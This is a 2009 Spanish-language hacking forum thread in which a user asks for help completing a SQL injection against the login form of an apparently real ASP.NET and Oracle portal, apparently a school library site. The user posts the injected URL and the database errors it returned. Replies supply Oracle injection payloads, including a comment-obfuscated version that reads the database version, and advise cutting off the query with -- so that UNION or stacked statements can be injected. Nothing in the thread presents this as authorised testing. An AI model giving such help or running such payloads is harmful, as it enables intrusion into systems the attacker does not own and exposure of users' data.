Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: z3n en 3 Septiembre 2009, 03:08 am



Título: sql Injection en Oracle!!! Ayuda....
Publicado por: z3n en 3 Septiembre 2009, 03:08 am
Quisiera saber si alguien me puede ayudar con un problema que tengo en una web asp.net con base datos Oracle....

en el login escribo: '
y en el password: &

y el error que me sale es este:

Revisar
Consulta:
SELECT * FROM sis_usuarios WHERE upper(susu_tlogin) ='''
ERROR (-2147467259)[Oracle][ODBC][Ora]ORA-01756: la cadena entrecomillada no está terminada correctamente
Microsoft OLE DB Provider for ODBC Drivers error '80004005'

[Oracle][ODBC][Ora]ORA-00921: unexpected end of SQL command

/portal/biblioteca/_conexion.asp, línea 357

-------------------------------------------------------------

La direccion que me queda en el browser es la siguiente:

portal/portada/proc_portada.asp?datos[0][login]='&datos[0][clave]=&&TipoUsuario=Alumno

-------------------------------------------------------------

me queda claro que la base de datos es vulnerable, pero cuando intento terminar la consulta, me arroja errores como estos:

SELECT * FROM sis_usuarios WHERE upper(susu_tlogin) ='''
ERROR (-2147467259)[Oracle][ODBC][Ora]ORA-01756: la cadena entrecomillada no está terminada correctamen

SELECT * FROM sis_usuarios WHERE upper(susu_tlogin) =''(SELECT * FROM USUARIOS)''
ERROR (-2147467259)[Oracle][ODBC][Ora]ORA-00936: missing expression
ERROR (-2147467259)[Oracle][ODBC][Ora]ORA-00936: missing expression

y ademas la doble comilla me la incluye sola....

como puedo generar bien la consulta... o obtener informacion de otro manera???

alguien que me ayude porfavor.....




Título: Re: sql Injection en Oracle!!! Ayuda....
Publicado por: berz3k en 3 Septiembre 2009, 11:48 am
Tienes que currarlo un poco mas, ORACLE injection es algo fastidioso para injectar y cerrar o abrir quotes, deberas usar la tabla virtual DUAL, mmm intenta las siguentes injecciones para bajos privilegios y conocer el version:

Código:
select banner from (select rownum r, banner from v$version) where r=1;
o
select/**/banner/**/from(select/**/rownum/**/r,banner/**/from/**/v$version)/**/where/**/r=1;


Aun asi date una vuelta por la sección Hacking Web

-berz3k.



Título: Re: sql Injection en Oracle!!! Ayuda....
Publicado por: z3n en 12 Septiembre 2009, 21:00 pm
He intentado de todo y sigo con el mismo problema....

la solución creo yo que va por cerrar la consulta... pero como????


Título: Re: sql Injection en Oracle!!! Ayuda....
Publicado por: tomrian en 13 Septiembre 2009, 04:19 am
me queda claro que la base de datos es vulnerable, pero cuando intento terminar la consulta, me arroja errores como estos

¿De que forma intentás cerrar la consulta?
¿Probaste cerrar con comentarios usando los caractéres --? En Oracle, al igual que en MSSQL y MySQL, se usa para empezar los comentarios en línea el prefijo --


Título: Re: sql Injection en Oracle!!! Ayuda....
Publicado por: z3n en 14 Septiembre 2009, 03:47 am
los caracteres "--" en oracle son para hacer comentarios no para cerrar consultas...


Título: Re: sql Injection en Oracle!!! Ayuda....
Publicado por: tomrian en 14 Septiembre 2009, 04:42 am
los caracteres "--" en oracle son para hacer comentarios no para cerrar consultas...

En Oracle, al igual que en MSSQL y MySQL, se usa para empezar los comentarios en línea el prefijo --

Es exactamente lo que puse... es una manera de decir que cierra las consultas para que ignore el resto de la sentencia y asi inyectar tranquilamente por medio de UNION o stacking de sentencias, por ejemplo.